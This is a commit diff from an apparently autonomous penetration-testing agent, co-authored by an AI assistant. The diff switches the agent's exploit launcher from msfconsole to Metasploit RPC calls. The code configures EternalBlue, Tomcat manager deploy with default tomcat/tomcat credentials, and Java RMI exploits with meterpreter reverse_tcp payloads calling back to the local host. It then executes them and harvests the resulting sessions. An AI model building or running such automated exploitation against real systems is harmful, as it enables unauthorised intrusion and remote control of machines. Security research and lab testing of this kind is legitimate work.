Skip to content

Commit f0f967c

Browse files
Kim-San04claude
andcommitted
fix: configure payload object separately for LHOST in pymetasploit3
Replace subprocess msfconsole (_run_msf_via_console) with pure RPC calls using a separate payload module object so LHOST/LPORT are visible to the same msfrpcd instance that tracks sessions.list. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
1 parent 245fa5f commit f0f967c

1 file changed

Lines changed: 76 additions & 62 deletions

File tree

agent/action_executor.py

Lines changed: 76 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -159,52 +159,63 @@ def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
159159
source="msf_executor",
160160
))
161161

162-
# Modules that require LHOST and use msfconsole subprocess
163-
_CONSOLE_MODULES = {
164-
"exploit/multi/http/tomcat_mgr_deploy": (
165-
"java/meterpreter/reverse_tcp", 4444,
166-
"set HttpUsername tomcat; set HttpPassword tomcat; "
167-
),
168-
"exploit/multi/misc/java_rmi_server": (
169-
"java/meterpreter/reverse_tcp", 4446, ""
170-
),
171-
"exploit/windows/smb/ms17_010_eternalblue": (
172-
"windows/x64/meterpreter/reverse_tcp", 4445, ""
173-
),
162+
# Modules that require LHOST — configured via RPC payload object
163+
_LHOST_MODULES = {
164+
"exploit/multi/http/tomcat_mgr_deploy": {
165+
"payload": "java/meterpreter/reverse_tcp",
166+
"lport": 4444,
167+
"extra": {"HttpUsername": "tomcat", "HttpPassword": "tomcat"},
168+
},
169+
"exploit/multi/misc/java_rmi_server": {
170+
"payload": "java/meterpreter/reverse_tcp",
171+
"lport": 4446,
172+
"extra": {},
173+
},
174+
"exploit/windows/smb/ms17_010_eternalblue": {
175+
"payload": "windows/x64/meterpreter/reverse_tcp",
176+
"lport": 4445,
177+
"extra": {},
178+
},
174179
}
175180

176-
def _run_msf_via_console(self, module: str, target: str, port: str,
177-
payload: str, lhost: str, lport: int,
178-
extra_opts: str = "") -> str:
179-
"""Launch msfconsole non-interactively — used when LHOST must be set."""
180-
cmd = (
181-
f"use {module}; "
182-
f"set RHOSTS {target}; "
183-
f"set RPORT {port}; "
184-
f"set PAYLOAD {payload}; "
185-
f"set LHOST {lhost}; "
186-
f"set LPORT {lport}; "
187-
f"{extra_opts}"
188-
f"set ExitOnSession false; "
189-
f"run -z -j; "
190-
f"sleep 15; "
191-
f"sessions"
192-
)
193-
print(f"[AGENT] msfconsole: {module}{target}:{port} LHOST={lhost}:{lport}")
181+
def _execute_msf_module(self, module_name: str, target_ip: str, port: str,
182+
payload_name: str, lhost: str, lport: int) -> str:
194183
try:
195-
result = subprocess.run(
196-
["msfconsole", "-q", "-x", cmd],
197-
capture_output=True, text=True, timeout=60,
198-
)
199-
output = result.stdout + result.stderr
200-
print(f"[DEBUG] msfconsole output : {output[-500:]}")
201-
return output
202-
except FileNotFoundError:
203-
logger.warning("msfconsole not found in PATH")
204-
return ""
205-
except subprocess.TimeoutExpired:
206-
logger.warning("msfconsole timed out after 60s")
207-
return ""
184+
module_path = module_name.split("/", 1)[1] # strip "exploit/"
185+
exploit = self.msf_client.modules.use("exploit", module_path)
186+
exploit["RHOSTS"] = target_ip
187+
exploit["RPORT"] = str(port)
188+
189+
cfg = self._LHOST_MODULES.get(module_name, {})
190+
for k, v in cfg.get("extra", {}).items():
191+
exploit[k] = v
192+
193+
payload = self.msf_client.modules.use("payload", payload_name)
194+
payload["LHOST"] = lhost
195+
payload["LPORT"] = str(lport)
196+
197+
print(f"[DEBUG] Payload options : {payload.options}")
198+
result = exploit.execute(payload=payload)
199+
print(f"[DEBUG] execute() : {result}")
200+
201+
for _ in range(30):
202+
time.sleep(1)
203+
sessions = self.msf_client.sessions.list
204+
if sessions:
205+
for sid, sinfo in sessions.items():
206+
sid_str = str(sid)
207+
if sid_str not in self.state.sessions:
208+
self.state.sessions[sid_str] = sinfo
209+
self._handle_new_session(sid_str, sinfo, module_name)
210+
return "success"
211+
212+
return "completed"
213+
214+
except Exception as exc:
215+
print(f"[DEBUG] Exception : {exc}")
216+
import traceback
217+
traceback.print_exc()
218+
return "error"
208219

209220
def _execute_exploit(self, decision: Dict):
210221
host = decision.get("target_host", self.state.target)
@@ -220,16 +231,17 @@ def _execute_exploit(self, decision: Dict):
220231

221232
if tool == "metasploit" and self.msf_client:
222233
try:
223-
console_cfg = self._CONSOLE_MODULES.get(module)
224-
if console_cfg:
225-
# Modules requiring LHOST → subprocess msfconsole
226-
payload, lport, extra = console_cfg
234+
lhost_cfg = self._LHOST_MODULES.get(module)
235+
if lhost_cfg:
236+
# Modules requiring LHOST → RPC API with separate payload object
227237
lhost = self._get_local_ip()
228-
self._run_msf_via_console(module, host, port, payload, lhost, lport, extra)
229-
# Mark success optimistically and check sessions via RPC
230-
result = {"status": "success", "output": "msfconsole launched"}
238+
status = self._execute_msf_module(
239+
module, host, port,
240+
lhost_cfg["payload"], lhost, lhost_cfg["lport"],
241+
)
242+
result = {"status": status, "output": f"RPC execute: {module}"}
231243
else:
232-
# All other modules → Phase 3 MetasploitEngine via RPC
244+
# vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
233245
from exploitation.metasploit_engine import MetasploitEngine
234246
eng = MetasploitEngine()
235247
eng._client = self.msf_client
@@ -245,17 +257,19 @@ def _execute_exploit(self, decision: Dict):
245257
data={"host": host, "port": port, "module": module},
246258
source="executor",
247259
))
248-
# Accept ALL session types (shell + meterpreter)
249-
time.sleep(5)
250-
sessions = self.msf_client.sessions.list or {}
251-
print(f"[DEBUG] Toutes sessions : {sessions}")
252-
for sid, sinfo in sessions.items():
253-
stype = sinfo.get("type", "")
254-
print(f"[DEBUG] Session {sid} type={stype} info={sinfo.get('info','')}")
255-
sid_str = str(sid)
256-
if sid_str not in self.state.sessions:
257-
self.state.sessions[sid_str] = sinfo
258-
self._handle_new_session(sid_str, sinfo, module)
260+
if lhost_cfg is None:
261+
# LHOST modules handle session detection internally;
262+
# only check here for Phase 3 bind-shell modules
263+
time.sleep(5)
264+
sessions = self.msf_client.sessions.list or {}
265+
print(f"[DEBUG] Toutes sessions : {sessions}")
266+
for sid, sinfo in sessions.items():
267+
stype = sinfo.get("type", "")
268+
print(f"[DEBUG] Session {sid} type={stype} info={sinfo.get('info','')}")
269+
sid_str = str(sid)
270+
if sid_str not in self.state.sessions:
271+
self.state.sessions[sid_str] = sinfo
272+
self._handle_new_session(sid_str, sinfo, module)
259273
except Exception as exc:
260274
logger.warning(f"Exploit error [{module}]: {exc}")
261275

0 commit comments

Comments
 (0)